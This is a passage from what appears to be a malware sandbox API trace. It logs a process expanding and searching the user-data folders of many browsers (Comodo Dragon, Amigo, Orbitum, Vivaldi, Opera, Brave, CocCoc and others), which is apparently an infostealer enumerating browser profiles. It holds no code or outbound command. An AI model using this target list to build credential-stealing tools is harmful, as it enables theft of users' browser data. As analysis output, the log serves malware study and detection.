HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0074.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.919] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.919] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.919] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0074.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.919] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.919] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.919] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0074.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.919] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.919] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.919] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0074.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.920] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.920] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.920] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0074.920] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.920] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.920] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.920] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0074.920] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.920] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.920] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.920] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0074.920] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.920] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.920] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.920] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0074.920] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.921] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.921] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.921] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0074.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.921] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.921] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.921] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0074.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.921] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.921] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.921] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0074.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.921] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.921] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.922] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0074.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.922] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.922] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.922] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0074.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.922] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.922] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.922] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0074.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.922] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.922] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.922] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0074.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.923] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.923] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.923] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0074.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.923] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.923] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.923] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0074.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.923] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.923] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.923] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0074.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.923] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.923] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.923] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0074.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.924] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 